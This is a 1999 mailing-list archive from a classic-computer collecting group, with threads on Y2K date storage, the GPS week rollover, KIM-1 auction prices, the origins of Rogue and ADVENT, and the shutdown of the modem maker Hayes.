they are not "safety of flight". > Not *entirely* true... There are date dependencies using GPS (for reference see http://www.laafb.af.mil/SMC/CZ/homepage/y2000/y2k/index.htm) that will cause a "Y2K" of sorts - the week number for ephemeris (and other) info "rolls over" every 20 years, and the first such rollover will be during August of this year. The problem is expected to cause problems in some receivers, perhaps causing erroneous output (unlikely) or possibly "loss of acquisition" when the receiver decides to listen to the wrong constellation. .snip > >All too true. >Allison Gary From cmcmanis at freegate.com Tue Jan 5 02:13:44 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:48 2005 Subject: Factoids: Rogue/ADVENT In-Reply-To: <36918BFC.A6AD4BF3@cnct.com> References: <199901021638.AA14589@world.std.com> Message-ID: <4.1.19990105001102.00bc69b0@208.226.86.10> Just to correct the factoids ... At 10:50 PM 1/4/99 -0500, Ward Griffiths wrote: >Matt Arnold wrote Rogue in C from day one. Actually it was Ken Arnold (now at Sun on the east coast and generally cool Java guy.) >ADVENT has been done in Fortran, BASIC, Pascal, Assembly X dozen, Don Woods (half of the development team) wrote ADVENT in FORTRAN. Don was also at Sun but later left to work at General Magic. Since there I've lost track of him. --Chuck From jolminkh at nsw.bigpond.net.au Tue Jan 5 06:17:41 1999 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:39:48 2005 Subject: Fujitsu ESDI Drive Jumper Settings Message-ID: <002801be38a5$65077760$2a3dc018@tp.c2.telstra-mm.net.au> Does anyone have any clues about where to get jumper settings for a Fujitsu M2263E ? Fujutsu's websites ignore the existence of ESDI drives. I've also tried The Ref and Blue Planet who seem to have got their data from Fujitsu's sites. This is a 600Mb drive and has what looks like write protect set for the partition area. Hans Olminkhof From KFergason at aol.com Tue Jan 5 06:36:59 1999 From: KFergason at aol.com (KFergason@aol.com) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff Message-ID: <15fd3ddf.3692076b@aol.com> In a message dated 1/5/99 12:40:49 AM Pacific Standard Time, Its an interesting thought, and I know from personal experience that a set of Kenwood Twins operating at 100Watts about 4 ft from a TRS80 Model 1 can cause it to crash. I would think its possible for a big solar flare to at least affect an old TRS80. unlikely, though. kelly dastar@ncal.verio.com writes: > > >>> > > Every 11 years the sun sends storms of cosmic rays which disrupt all sorts > > of electrical devices. The last was in 1989, and they are due again in > > >>> > > As Bill Gates would say, that's the stupidest thing I've ever heard of. If > cosmic rays were to blame for the EIs suckiness then every computer back > then would have had similar problems. No, you can't blame Radio Shack's > sorry-assed engineering on cosmic rays, but nice try. > > Sellam Alternate e-mail: dastar@siconic. > com > From cswiger at wilma.widomaker.com Tue Jan 5 09:31:17 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:48 2005 Subject: Why you won't fly on 1/1/00 Message-ID: >This is my biggest fear of Y2K. All of my programming life, software >developers have been able to get away with shipping buggy software with >virtually no liability. Now companies are already being sued for this Gentelpersons - certainly have been enjoying the thoughts on y2k, pretty much matches my thoughts. As for the above, just look at the Microsoft y2k statements, which claim to be compliant, immediately followed by the big screaming-caps legal boilerplate saying "but if your business fails due to ANY bug in the SOFTWARE, you can't sue me, nyah nyah-nyah nyah nyah, nyah". I think the right to peddle buggy software must be protected by 1st amendment free speech. My elder brother works with credit card processing in San Jose' and last August he wrote: " I have cards that expire now in 06/01 and 05/00 I believe. Anyway, I have not had any problem using them. I know for a fact that this is one of the issues that had to be dealt with last year. In fact, for a while there, we had to ignore expiration dates in the processing." Chuck cswiger@widomaker.com From ai705 at osfn.org Tue Jan 5 09:34:54 1999 From: ai705 at osfn.org (Stephen Dauphin) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: Message-ID: > On Mon, 4 Jan 1999, Marvin wrote: > > > Anyone have any idea what the Kim-1 computers are selling for? An On Tue, 5 Jan 1999, Sam Ismail wrote: > > Surprisingly I couldn't locate any past auctions on ebay for a KIM-1. But Ebay auction records only go back 30 or 40 days. Anything older is flushed from the system. They aren't a repository like dejanews. There was a previous thread about compiling Ebay auction statistics and the possibility they might object to a for profit use of them. I tend to think they wouldn't as they don't even save the information themselves. That's why I previously asked whether any other list members were saving results. I keep an eclectic list of previous auctions and I tie it into my general browsing of the site so it doesn't come to more than a couple of hours a month. > I'd say a reasonable price would be $250 since you subscribe to the ebay > pricing dynamic. Otherwise, $50 - $100 tops (if it is indeed serial #1, > which would be highly interesting). > Only previous reference I have is the following. Is this guy talking about the same thing? -------- Vintage KIMSI, Unassembled Computer Kit, WOW Item #13701210 Currently $106.00 (reserve met) First bid $5.00 Quantity 1 # of bids 10 (bidding history) (include e-mails) Location Joplin Mo. 64804 Ends 05/17/98 18:45:30 PDT Seller old_audio (55) star High bidder nba03223@niftyserve.or.jp (17) star Vintage KIMSI, Unassembled Computer Kit, WOW!! RARE!!! Own a peice of computing history. This 1977 KIMSI single board computer was sold as a kit by Forethought Products, through Popular Electronics, and other magazines. These were the for-runner to todays PC.It is very rare to find one of these today, and this one is UNASSEMBLED!! which makes it twice as rare!! Comes with motherboard, parts, instruction book, schematics, as far as I can tell, this one is complete. Don't Miss This Chance!!! Thanks for looking! Buyer to pay Shipping $5 in the US -- Steve From marvin at rain.org Tue Jan 5 10:04:52 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer References: Message-ID: <36923824.48F738B9@rain.org> Sam Ismail wrote: > > Surprisingly I couldn't locate any past auctions on ebay for a KIM-1. But > I'd say a reasonable price would be $250 since you subscribe to the ebay > pricing dynamic. Otherwise, $50 - $100 tops (if it is indeed serial #1, > which would be highly interesting). I also had taken a look and couldn't find any past auctions on ebay. FWIW, I tend to look at buying on ebay as paying retail vs paying wholesale when out scrounging. It also sounds like she has a PET-1 w/ chicklet keyboard there too. Fortunately, she hasn't started disposing of the documentation that Dave kept, and I kind of doubt it is worth a lot (at least until I see what is there) so I may end up with that. Things like this are what keep the collecting of older computers exciting! From jfoust at threedee.com Tue Jan 5 10:01:13 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <19990105025853.3742.qmail@brouhaha.com> References: <199901050025.RAA14288@calico.litterbox.com> <199901050025.RAA14288@calico.litterbox.com> Message-ID: <3.0.5.32.19990105100113.00ff9540@pc> At 02:58 AM 1/5/99 -0000, Eric Smith wrote: > >Once databases started being kept on disk drives, saving two bytes for each >date may not have sounded like much, but it literally did save money. It >takes fewer disk packs (and perhaps fewer drives) to store 92-byte records >than 94-byte records. I don't know how many decisions were made on that >basis, but you can't realistically ignore it. There's a dozen lame excuses as to why They Did It That Way. Few of them make any sense. If they'd stored the year in a seven or eight bits offset from their earliest year, instead of two ASCII or BCD digits, they'd halve their storage requirements. There is a good discussion of this at . At 04:37 PM 1/4/99 -0800, Chuck McManis wrote: >I attended a talk by a Y2K consultant (Bruce Webster) I remember him from a decade ago, writing for Byte, and doing something (games?) with the Amiga. I seem to remember him at the Amiga dev cons where I once met you, too. His resume at shows he's been busy at other things, and has certainly been around for a while in the world of computers. However, I'll always remain a bit skeptical of opinions from anyone who's routinely paid to speak or write their opinions. :-) Your discussion of being FreeGate's Y2K rep reminded me of when I was asked whether the software I developed was susceptible. At first I thought "no way, not a thing." Then I remembered the node-locking on the SGI version - nope, it wisely used an offset from 1900 and stored it in enough bits. A few sprintf("%s") of ctime(), though. - John From marvin at rain.org Tue Jan 5 10:12:18 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer References: Message-ID: <369239E2.CEFF0373@rain.org> Stephen Dauphin wrote: > > > On Mon, 4 Jan 1999, Marvin wrote: > > > > > Anyone have any idea what the Kim-1 computers are selling for? An > > Only previous reference I have is the following. Is this guy talking > about the same thing? > > Vintage KIMSI, Unassembled Computer Kit, WOW Item #13701210 > > Currently $106.00 (reserve met) First bid $5.00 > > Vintage KIMSI, Unassembled Computer Kit, WOW!! RARE!!! Own a peice of > computing history. This 1977 KIMSI single board computer was sold as a > kit by Forethought Products, through Popular Electronics, and other That is interesting! Was the Kim-1 ever offered as a kit? Somehow, I had though it was only available as a fully assembled unit. Thanks for posting that! From amirault at epix.net Tue Jan 5 13:39:38 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:39:48 2005 Subject: 5155 floppy fixed Message-ID: <009b01be38e3$226db7a0$2f9f25d8@amirault> Hi, When you say Jr unit, do you mean the complete CPU or just the disk drive? I am a PCJr collector and would be willing to pay shipping. Please Email me @ amirault@epix.net to make arrangements. Thank you. John Amirault -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Monday, January 04, 1999 1:08 PM Subject: Re: 5155 floppy fixed >> >> turns out the reason for the post error on my 5155 was because the head was >> sticking and couldnt do the initial seek, thus causing the 601 post. tony was >> right! i didnt bother with greasing it and swapped out an identical floppy >> drive from an extra pcjr. anyone want a pcjr unit for the price of shipping? > >Oh come on... We're supposed to be preserving classics and not stripping >them for parts unless there's a very good reason. > >Anyway, it probably took more time to find the jr, open it up, and remove >the drive than it would have done to put a couple of drops of oil (or >better still dry film lubricant) on the rails and work the head back and >forth a few times. > >> >> david >> > >-tony > > From cswiger at wilma.widomaker.com Tue Jan 5 11:02:45 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:48 2005 Subject: Why you won't fly on 1/1/00 Message-ID: >Yet another reason to prefer open-source tools whenever possible. Yeah - and be sure to check out the Unix 'cal' utility, it even gets Sept. 1752 correct ($cal 9 1752), actually, correct in Britain and the colonies, as well as 1 2000. http://home.earthlink.net/~aske/nature/calendar.htm Chuck cswiger@widomaker.com From erd at infinet.com Tue Jan 5 11:49:55 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <3.0.5.32.19990105100113.00ff9540@pc> from "John Foust" at Jan 5, 99 10:01:13 am Message-ID: <199901051749.MAA19413@user1.infinet.com> > > At 02:58 AM 1/5/99 -0000, Eric Smith wrote: > > > >Once databases started being kept on disk drives, saving two bytes for each > >date may not have sounded like much, but it literally did save money... > > There's a dozen lame excuses as to why They Did It That Way. Few of > them make any sense. If they'd stored the year in a seven or eight > bits offset from their earliest year, instead of two ASCII or BCD > digits, they'd halve their storage requirements. There is a good > discussion of this at . > I wrote a response to that very discussion. It was summarily ignored. The gist of it was to refute the author's assertion that "they couldn't have done it to save two bytes." Look at the design of an IBM 1401 sometime. It has BCD-oriented memory. It's 8-bits, but four of them are the BCD representation of the bottom 10 rows of a punch card, two bits are for the top two rows, then two other bits for out-of-band control of the data. The 1401 was not built to manipulate binary data. It would be incredibly complicated to do so on such a machine. You could never just store raw binary in memory. Not all machines do things the way we do them today. Leave the nice orthogonal 8/16/32-bit world and you see people doing interesting things to get the job done. It's one of the reasons I love classic computers; you have to think differently to make them work. -ethan From dastar at ncal.verio.com Tue Jan 5 11:50:12 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: Message-ID: On Tue, 5 Jan 1999, Stephen Dauphin wrote: > Only previous reference I have is the following. Is this guy talking > about the same thing? > > -------- > Vintage KIMSI, Unassembled Computer Kit, WOW Item #13701210 > > Currently $106.00 (reserve met) First bid $5.00 Nope, this was just an S-100 backplane that the moronic seller sold as a "single board computer" to a stupid buyer for $106. That's probably about as much as it originally sold for in 1977. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ddameron at earthlink.net Tue Jan 5 12:04:39 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:39:48 2005 Subject: y2k ramblings Message-ID: <199901051804.KAA25397@scaup.prod.itd.earthlink.net> At 02:56 AM 1/5/99 -0500, Ward wrote: >Tony Duell wrote: >> > > And if I hear one more person who claims the Millennium is the 31/12/1999 >> > >> > > - 01/01/2000 (as opposed to the correct date of 1 year later), I am >> > > liable to get out a very large LART.. >(Forget the argument when the 2nd millennium starts -- yes, there was >no Year Zero, but the majority of voters are impressed by the row of >zeroes in the coming year number -- democratically, we lose. Let them >celebrate their millennium, nick the booze from their parties, then we >can have a proper party a year later. Inviting those who can count.) >-- These conversations have made me think about time. The key word above, IMO, is the last one, _count_. Does one count or measure time? In an analog clock, a minute starts at 60 = 00 seconds, not one. It is measured. Once you get to hours, it is mixed. They are numbered 1 to 12, but the morning/evening starts at 12:00. I used to always be confused when, for example, 12:30 AM was. In early digital clocks, one had to somehow "adjust" the hours display as a mod 12 counter typically counts 0 ..11. Suppose an analog computer is made as a clock. Say using voltage ramps. If seconds were mV, the sawtooth would be reset at 60mV. Same for an index mark on revolving disks. This could also be for hours, months, years, etc. So for an counting computer it is 2001, but maybe for a measuring computer, it is 2000?? End of rambling. The issue I guess isn't the millenniun, but how computers handle the year 2000. Don't be surprised if next year my messages are dated 1980. -Dave From yowza at yowza.com Tue Jan 5 12:09:37 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: Message-ID: On Tue, 5 Jan 1999, Stephen Dauphin wrote: > Ebay auction records only go back 30 or 40 days. Anything older is > flushed from the system. They aren't a repository like dejanews. Even less for the search engine. I think they keep the data in the database for about 30 days (so the URL still works), but they stop indexing the data for searching after only a couple of weeks it seems. > Only previous reference I have is the following. Is this guy talking > about the same thing? > > -------- > Vintage KIMSI, Unassembled Computer Kit, WOW Item #13701210 No, this is another case of a braindead greedy ebay seller. The KIMSI is just an S-100 extension for the KIM, and I told the seller that he wasn't selling a computer (a KIM was not included), but he failed to update the description. -- Doug From jfoust at threedee.com Tue Jan 5 12:11:07 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <199901051749.MAA19413@user1.infinet.com> References: <3.0.5.32.19990105100113.00ff9540@pc> Message-ID: <3.0.5.32.19990105121107.0108b010@pc> At 12:49 PM 1/5/99 -0500, Ethan Dicks wrote: >> There is a good >> discussion of this at . > >I wrote a response to that very discussion. It was summarily ignored. Tom Christiansen was a college friend of mine; that's exactly the kind of person he is. :-) >The gist of it was to refute the author's assertion that "they couldn't have >done it to save two bytes." Look at the design of an IBM 1401 sometime. >It has BCD-oriented memory. I'm not expert on the 1401, but I understand what you're getting at. I'm sympathetic to the view that two-digit Y2K problems exist because of constraints of input devices, storage devices, dain-bramaged COBOL, punched cards, and lack of code memory and processing time for performing input validation, and the reticent nature of programmers who didn't want to be blamed for errors resulting from updating data or code as machines improved and data migrated. As you said, though, you'd be surprised what ancient computers can do. I'd hate to say something was impossible; I'll happily admit that a Y2K problem arose because at the time it seemed the most sensible way to do it. - John From eric at brouhaha.com Tue Jan 5 12:59:03 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: <36919F47.A4A6642F@rain.org> (message from Marvin on Mon, 04 Jan 1999 21:12:39 -0800) References: <199901050451.AA05063@world.std.com> <36919F47.A4A6642F@rain.org> Message-ID: <19990105185903.8055.qmail@brouhaha.com> > Anyone have any idea what the Kim-1 computers are selling for? An > acquaintance of mine died and his wife told me that he had one with Serial > Number 1. Presumably a KIM with serial number 1 would sell for an amazing amount of money on ePay, although perhaps not as much as Altair serial number 1 or Lisa serial number 1. I'd like to get a KIM, but I'm sure I won't even be in the running for this one. From erd at infinet.com Tue Jan 5 13:05:32 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <3.0.5.32.19990105121107.0108b010@pc> from "John Foust" at Jan 5, 99 12:11:07 pm Message-ID: <199901051905.OAA19474@user1.infinet.com> > > At 12:49 PM 1/5/99 -0500, Ethan Dicks wrote: > >> There is a good > >> discussion of this at . > > > >I wrote a response to that very discussion. It was summarily ignored. > > Tom Christiansen was a college friend of mine; that's exactly the > kind of person he is. :-) I take no personal offense, but I did get a rather curt blowoff. > I'm not expert on the 1401, but I understand what you're getting at. > I'm sympathetic to the view that two-digit Y2K problems exist because > of constraints of input devices, storage devices, dain-bramaged COBOL... Another so-far-unmentioned scarce resource: 80 columns of data per card. Think about it. A customer ID card. If you have a date on it, that's two less characters of something else, the name, perhaps? Imagine a metropolitan utility company with 1 million customers. One card per month per customer. Two megabytes of "19" per month with only one date per card. That's 800 feet of tape per month per date (at 200 bpi). Handling, storage, time, money, space. It all adds up. The physical volume of that amount of data is incomprehensible today when they are sewing digitized samples containing hundreds of Kbytes into novelty underwear. -ethan From Pjoules1 at cs.com Tue Jan 5 13:07:05 1999 From: Pjoules1 at cs.com (Pjoules1@cs.com) Date: Sun Feb 27 18:39:48 2005 Subject: selling a blank floppy disk Message-ID: In a message dated 03/01/99 21:46:40 GMT Standard Time, ard@p850ug1.demon.co.uk writes: > What's so interesting about 2000? It's not a power of 2 (:-))... Yes lets start a Y2k campaign for the correct year - 2048 ;-) Regards Pete From eric at brouhaha.com Tue Jan 5 13:10:49 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <3.0.5.32.19990105100113.00ff9540@pc> (message from John Foust on Tue, 05 Jan 1999 10:01:13 -0600) References: <199901050025.RAA14288@calico.litterbox.com> <199901050025.RAA14288@calico.litterbox.com> <3.0.5.32.19990105100113.00ff9540@pc> Message-ID: <19990105191049.8134.qmail@brouhaha.com> John Foust wrote: > There's a dozen lame excuses as to why They Did It That Way. Few of > them make any sense. If they'd stored the year in a seven or eight > bits offset from their earliest year, instead of two ASCII or BCD > digits, they'd halve their storage requirements. There is a good > discussion of this at . I'd love to see code to do this for an IBM business computer of the late 50s or early 60s. I.e., IBM 702, 705, 705-III, 1401, 1410, 7010, 7070, 7080 or even the 650. AFAIK, *NONE* of those machines had the capability of storing a binary number into a character of memory. I suppose it might have been possible to wedge a six-bit number into a character, but it would probably have required a 64-character lookup table to encode (not too bad), and a loop to decode (horribly inefficient). I think it is necessary to understand a bit more about what was actually going on at the time, rather than just reasoning that since modern computers are good at storing binary integers, the programmers in the 50s and early 60s must have been idiots. Eric From william at ans.net Tue Jan 5 13:17:16 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: <19990105185903.8055.qmail@brouhaha.com> Message-ID: > Presumably a KIM with serial number 1 would sell for an amazing amount of > money on ePay, although perhaps not as much as Altair serial number 1 or > Lisa serial number 1. Of course the silly thing (and one most of us that ever worked in a production environment should see) is that having a box proclaiming "SERIAL NUMBER 1" means nothing. In 99% of all factories, stuff is made in lots and serials affixed later, mostly in the order that the poor underpaid prole reaches for the boxes on the skid! William Donzelli william@ans.net From roblwill at usaor.net Tue Jan 5 18:07:42 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:48 2005 Subject: Fw: y2k stuff Message-ID: <01be3908$94632640$438ea6d1@the-general> Hey - It was on the comp.sys.tandy newsgroup.... -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Tuesday, January 05, 1999 12:36 AM Subject: Re: y2k stuff >As Bill Gates would say, that's the stupidest thing I've ever heard of. If >cosmic rays were to blame for the EIs suckiness then every computer back >then would have had similar problems. No, you can't blame Radio Shack's >sorry-assed engineering on cosmic rays, but nice try. > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > From kurtkilgor at bigfoot.com Tue Jan 5 16:23:17 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:48 2005 Subject: R.I.P. Hayes Message-ID: <199901052225.OAA26704@geocities.com> Just so everyone knows, Hayes is gone. They closed down for good yesterday. ---------------------------------------------------------------------------- ----- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From dogas at leading.net Tue Jan 5 16:30:33 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer Message-ID: <01be38fb$02719ee0$c4c962cf@devlaptop> I think it's a bit niave to think that a KIM-1 is only going to bring 150-250 $ these days on eBay.... My guess would be over 500. Alas - Mike: dogas@leading.net From roblwill at usaor.net Tue Jan 5 19:34:21 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:48 2005 Subject: R.I.P. Hayes Message-ID: <01be3914$af695e80$438ea6d1@the-general> Any addresses to get more info? -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Max Eskin To: Discussion re-collecting of classic computers Date: Tuesday, January 05, 1999 2:28 PM Subject: R.I.P. Hayes >Just so everyone knows, > >Hayes is gone. They closed down for good yesterday. >--------------------------------------------------------------------------- - >----- >Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor > From djenner at halcyon.com Tue Jan 5 16:43:39 1999 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 18:39:48 2005 Subject: y2k ramblings References: <199901051804.KAA25397@scaup.prod.itd.earthlink.net> Message-ID: <3692959B.BFC5F363@halcyon.com> I learned quite a while ago that it is impossible to resolve the problem of when the next millennium starts. Didn't you see the Wiley cartoon last week with the two doomsayers parading, about to collide, with placards that said: "Only one year until the end of civilization" and "Only two years until the end of civilization"? It is better just to plan to celebrate twice. And if it really is the first time, wouldn't you rather have celebrated at least once? Dave dave dameron wrote: > > At 02:56 AM 1/5/99 -0500, Ward wrote: > >Tony Duell wrote: > > >> > > And if I hear one more person who claims the Millennium is the 31/12/1999 > >> > > >> > > - 01/01/2000 (as opposed to the correct date of 1 year later), I am > >> > > liable to get out a very large LART.. > > >(Forget the argument when the 2nd millennium starts -- yes, there was > >no Year Zero, but the majority of voters are impressed by the row of > >zeroes in the coming year number -- democratically, we lose. Let them > >celebrate their millennium, nick the booze from their parties, then we > >can have a proper party a year later. Inviting those who can count.) > >-- From yowza at yowza.com Tue Jan 5 17:01:50 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: <01be38fb$02719ee0$c4c962cf@devlaptop> Message-ID: On Tue, 5 Jan 1999, Mike wrote: > I think it's a bit niave to think that a KIM-1 is only going to bring > 150-250 $ these days on eBay.... My guess would be over 500. Well, it only takes one overzealous bidder to jack the price through the roof, but I'd be shocked to see one go for over $200, which is typical for SBC's of that era on ebay. The KIM's were made in pretty good quantity, I think, and ended up at a lot of schools as trainers. That's why more than one member of this list has a bunch of them -- find one, and you're likely to find a dozen of its friends nearby. You can still find relatively good deals on SBCs even on ebay. Heathkit ET-3400's (6800 SBC's from circa 1976) typically go for under $100. And a lot of MMD-1's just went for under $40 each. AIM65's, for some reason, have been all over the map on ebay: from $50 to around $500. Of course, you'd rarely pay more than $20 for any of these boards if you know where to shop :-) -- Doug From kurtkilgor at bigfoot.com Tue Jan 5 17:03:46 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:48 2005 Subject: R.I.P. Hayes Message-ID: <199901052304.PAA27655@geocities.com> > Any addresses to get more info? All I saw was a post Slashdot.org, which had a link to a C|Net article saying basically that Hayes is liquidating its assets and closed yesterday. There is also a little stock ticker that says: "Hayes: N/A" :) From ard at p850ug1.demon.co.uk Tue Jan 5 13:09:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: from "Sam Ismail" at Jan 4, 99 04:36:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 541 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/1f51f638/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 13:15:01 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: Y2K stuff In-Reply-To: <199901050042.AA03200@world.std.com> from "Allison J Parent" at Jan 4, 99 07:42:26 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1075 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/40c773ec/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 13:19:48 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: Y2K stuff In-Reply-To: <199901050134.RAA25867@geocities.com> from "Max Eskin" at Jan 4, 99 08:29:17 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 341 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/d6879961/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 13:23:55 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: Why you won't fly on 1/1/00 In-Reply-To: from "Zane H. Healy" at Jan 4, 99 06:04:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 612 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/c303467a/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 13:34:54 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: selling a blank floppy disk In-Reply-To: <3691C5AD.6BFAA208@cnct.com> from "Ward Donald Griffiths III" at Jan 5, 99 02:56:29 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1456 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/154da453/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 13:39:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: y2k stuff In-Reply-To: <01be3885$8d60f4e0$4a8ea6d1@the-general> from "Jason Willgruber" at Jan 5, 99 00:29:46 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 965 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/9b5e6d70/attachment.ksh From dlw at trailingedge.com Tue Jan 5 17:55:45 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:39:48 2005 Subject: (Fwd) BASIC+ on PDP11 porting Message-ID: <199901052356.RAA21517@trailingedge.com> Can anyone help him? Email them directly. ------- Forwarded Message Follows ------- From: BJones8nr@aol.com Date sent: Tue, 5 Jan 1999 16:48:43 EST Subject: BASIC+ on PDP11 porting Hi Do you know of any source code porting packages to get from BASIC+ to VMS BASIC or VB Cheers Bryn Jones --------------------End Forwarded Message---------------- ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From ard at p850ug1.demon.co.uk Tue Jan 5 17:23:42 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:48 2005 Subject: Kim-1 Computer In-Reply-To: from "William Donzelli" at Jan 5, 99 02:17:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1181 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/9a81b5d6/attachment.ksh From ckaiser at oa.ptloma.edu Tue Jan 5 18:21:37 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:49 2005 Subject: Kim-1 Computer In-Reply-To: from "Tony Duell" at Jan 5, 99 11:23:42 pm Message-ID: <199901060021.QAA03182@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 795 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/26bdf12b/attachment.ksh From yowza at yowza.com Tue Jan 5 18:19:02 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:49 2005 Subject: number games (was Re: Kim-1 Computer In-Reply-To: Message-ID: On Tue, 5 Jan 1999, Tony Duell wrote: > Serial numbers were not always assigned sequentially Neither are model numbers. Which came first, the Toshiba 1000 or the 1100? How about the Powerbook 100 or the 170? The IBM 5150 or the 5140? But I prefer it that way. It means that I might be able to pay less for a "first".... -- Doug From allisonp at world.std.com Tue Jan 5 18:19:40 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K stuff Message-ID: <199901060019.AA12899@world.std.com> "rolls over" every 20 years, and the first such rollover will be during The 11 year cycle is the sunspot cycle, any ham radio guy knows of it. communications on the various bands are affected. and, i have read that is is possible for "cosmic rays" to affect electronics. apparently, its one of those 1 in a billion billion type of things. i was doing some research on memory and came across it. again, just not very likely. kelly In a message dated 1/5/99 3:15:27 PM Pacific Standard Time, ard@p850ug1.demon.co.uk writes: > I have heard them all! This is going to have even less of an effect that > any software problems! > > > > > >>> > > Every 11 years the sun sends storms of cosmic rays which disrupt all sorts > > Cosmic rays are coming all the time. > > > of electrical devices. The last was in 1989, and they are due again in > > 2000. 1978 was also a year effected by mega cosmic rays and was > > coincidentally the first year of Expansion Interface manufacture. Could > > the rays have been the source of the EIs poor performance? I have a 1978 > EI > > Even if cosmic rays did have a major effect on computers (and AFAIK they > don't) then the date of manufacture wouldn't make any difference. What > would matter is the cosmic ray flux _now_. > From yowza at yowza.com Tue Jan 5 18:35:14 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:49 2005 Subject: Intel Prompt 48 In-Reply-To: <199901060019.AA12899@world.std.com> Message-ID: Speaking of SBC's, I just remembered that I recently picked up a RARE Prompt 48 (which I promptly placed in storage because I 